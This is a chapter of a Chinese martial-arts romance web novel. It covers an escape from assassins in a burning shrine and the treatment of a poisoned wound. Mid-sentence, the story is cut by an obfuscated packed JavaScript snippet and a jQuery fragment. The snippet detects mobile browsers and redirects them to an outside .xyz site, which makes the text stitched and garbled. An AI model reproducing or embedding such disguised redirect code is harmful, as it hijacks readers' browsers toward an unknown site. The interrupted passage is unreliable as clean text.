那刺客本想乘胜追击,后脑勺处却猛地传来一阵凉风,他下意识地转头,只见一个烛台朝着他迎面袭来,想都没想他就抬手将其在半空劈成两半。
蜡烛滚落在地,火焰沿着地上的干草蔓延开来,所见之处瞬时火光冲天。
陈湘行见刺客被火势拖住了,连忙又用力抬起刚刚被他们掀开的棺盖,像举着个盾牌一样就朝着前面冲过去,“砰”的一下砸得对面两人眼冒金星。
“你要不要看看你砸了谁啊!”
薛珩只觉得自己顿时头疼欲裂,但看见自己对面的刺客也被砸得不轻后赶紧忍着疼,剑尖再次逼近对方的咽喉,一击毙命。
冤枉啊!她都没有一个人跑掉,而是冒着生命危险回来救他,怎么能怪她砸得不准呢?
但是眼见后面被火势困住的刺客在原地消失,陈湘行也没在这个时候和薛珩拌嘴,而是冲上前一把扶助他:“快走快走!”
火势越来越旺,还有敌人不知道躲藏在哪个角落等着一击毙命,薛珩却有些步履不稳,原本清晰的眼前开始变得逐渐模糊起来……
陈湘行的指尖刚刚碰到门闩,一道剑光突地就从她的眼前暴起,好在她惜命,反应快得很,瞬间就低下了头,长剑擦着她的发髻刺入门板,几缕断发飘落。
再慢一步,恐怕掉在地上的就不是她的头发了。
背后传来剑刃破空的声音。
她咬着牙反手从晕得七荤八素的薛珩手中抢过剑,凭着对危险的本能反应抬手去挡。
金属相击的脆响在空中劈开寒芒,接下这一剑的那一刻,她的虎口瞬间被震麻,“啪嗒”一声剑就因为她握不住而掉到了地上。
完了!她不会要折在这里了吧!
迎面而来的剑光不断逼近,陈湘行扶着看起来一副死样的薛珩,脚下似乎被粘了起来一般根本动不了,只能眼睁睁地看着剑离他们越来越近。
“哐当!”
被她扶着的少年不知道哪里来的力气突地捡起掉在地上的剑,反手抵住袭来的剑芒不说,还趁刺客愣神的瞬间扭腕劈向他的喉间。
内堂顿时没了声息,只余下熊熊燃烧着的火焰和脱力缓缓倒在陈湘行身上的薛珩。
“喂!醒醒!你醒醒!我怎么可能一个人拖着你出去!薛大人!薛指挥使!薛珩!”
火势越来越大,原本还只是烧着草垛的火,不知道什么时候蔓延开来,卷起城隍像上的红布,如一条火龙般腾空而起。
陈湘行简直欲哭无泪。
薛珩似是真的昏迷了一般死死地靠在她的身上,如果不是她每日都要替章师傅背着重的要死的陶罐到处跑腿,恐怕还真扶不动他这样一个真正比她高出一个头的男子。
“吵死了。”
少年蜷缩了一下手指,能够明显的感受到自己新添的这道伤痕虽然要比先前重的那一刀轻些,但是不知道这些人的剑上抹了些什么东西,让他现在筋骨松软不说,整个人昏昏沉沉的分不清东南西北。
本来陈湘行是会随身携带金疮散出门的,结果捡到薛珩的那天晚上把自己常带在身上的那一瓶丢给他之后就忘了补,现在身上什么药都没有。
巧妇难为无米之炊啊!
不过所幸这人还没有彻底失去意识,陈湘行连忙一边屏气一边用出吃奶的里硬生生拖着他从冒着缭绕烟雾的内堂往外走。
刚迈出门,只见半挂在她身上的薛珩突然仿佛又有了力气一般手不由自主摸上了腰间的剑鞘。
一串铜铃声从远处传来。
烟雾熏得她眼睛都快睁不开了,陈湘行勉强半吨半闭着眼睛想要去看对面的男人是谁,结果一大盆水就迎面浇来,淋了他们一个猝不及防。
“师傅?!”
陈湘行愕然地看着眼前人。
章见青看到她和她身侧的薛珩的那一刻也怔住了,脸上的神色青青白白,似乎想说什么但是又不知道该怎么说,只能勃然大怒道:“大半夜的跑来这种地方和情郎私会还纵火,我看你也是能耐了!”
“我没有!”
陈湘行瞪大眼睛连忙转头去看身侧的薛珩,只见他的头轻轻地歪在自己肩膀上,脸白得像玉瓷一样透明,几乎都要不喘气了。
糟了!他身上的伤!
陈湘行顾不得和自家师傅多解释些什么,连忙道:“师傅!您快来给他看看,刚刚我们在里头遇到了一伙黑衣人,话都不说就开始和我们打起来,他和那群人打起来的时候不小心被刀划到了胸口,我看他这症状跟普通的刀伤还不太一样!”
她们还在交谈的时候,内堂里燃起来的火已经被他人扑灭了大半,只留下一小撮的火苗被端到了屋子外面任由雨水冲洗。
还好今日是个雨天,火被水气压住了起不来,否则这里这么多木棺材估计都要遭了殃。
章见青上前两步略瞧了瞧薛珩的脸色,伸手一指:“去那边把他衣服脱了,裹成这样怎么看伤口。”
“……”
陈湘行没办法,只好先扶着感觉快要人事不知的薛珩到义庄边上的屋子里,像之前那样去解薛珩身上的衣裳,她顺便在心里默念这家伙千万
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15668097|173016||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
别突然醒来,否则也未免太尴尬了。
他的胸口处是两道交错的伤口,一道是之前的旧伤,虽然崩开了,但并不严重。
另一道偏上一点的口子就没那么走运了,不知道那群刺客是不是在刀口上涂了什么东西的缘故,伤口有些微微泛紫,血流出来似乎是凝固的,周边的皮肤都鼓了起来。
“这是伤口里面有毒吗?”陈湘行不耻下问。
章见青摁了摁那几块鼓起来的皮肤,薛珩的眉顿时皱了一下。
“嗯……这东西可有点难办。”章见青转头上下打量一下自家小徒弟,“你们俩怎么大半夜的跑到这种地方来?另外,他又是谁?我从来没在你那听到过有这么一号人。”
陈湘行知道薛珩这次出来估计也不想被人发现自己的真实身份,只好硬着头皮胡说八道:“他是我娘那边的亲戚……”
“打住,这么多年你们母女俩在这庄子上过得半死不活的,我从未听你提起过什么亲戚。”章见青瞥了陈湘行一眼,“你知不知道他伤口上的是什么毒?”
“这种毒有个还算好听的名字叫‘枯荣’,无色无味,可溶于一切液体,初期症状可能就是风寒,数月后五脏衰竭无药可解。”
陈湘行从来没听说过这种毒,但是薛珩的症状又明显和章见青所描述的不大一样:“师傅,可他现下是昏过去了……”
“刚刚和你说的那种是针对于普通人,你身边这小子身上有内力护体,被毒侵入脉络后能缓解一大部分,昏过去也是他自身在抵御毒素的入侵的一种表现。”章见青摸着薛珩的脉眼神一瞟,“你知道这种毒哪里用的最多吗?”
“宫里。”
陈湘行一怔。
“你身边这小郎君来历不俗,和他走得太近小心惹祸上身。”
章见青摸出随身携带的针灸包,直接一针朝着薛珩腕间的穴位扎去,结果针还没碰到他,就见原本睡得不省人事的少年突然暴起,抬手直接打飞了他捏在手里的针和针灸包。
然后又昏了过去。
“碰都碰不得还怎么给他放血疗毒!”章见青愤愤道,“你看看!你看看!”
陈湘行也没料想到薛珩会有这样的表现,她有些尴尬地笑笑,总不能看着他就这么被毒折磨到死,只能硬着头皮小心翼翼去摸他的手腕:“没事啊师傅,没事啊,我帮你抓着。”
她是真怕薛珩这家伙突然也给她来一下子。
章见青哼了一声,随后瞥了陈湘行一眼:“算了,我把要放血的穴位告诉你,你来扎吧,正好验验你学的怎么样。”
奇怪的是不知道是不是因为薛珩对陈湘行的防备心没有那么重,所以她很顺利的捉住了他的腕子,接过章见青手里的针按照他的嘱咐缓慢下针。
银针刺入少年腕间时他的指尖微微动了一下,陈湘行心惊胆战地看了他一眼,却发现在自己手里这人一下子变得乖顺起来,再没了别的动静。
“他真不是你情郎吗?”
章见青幽幽道。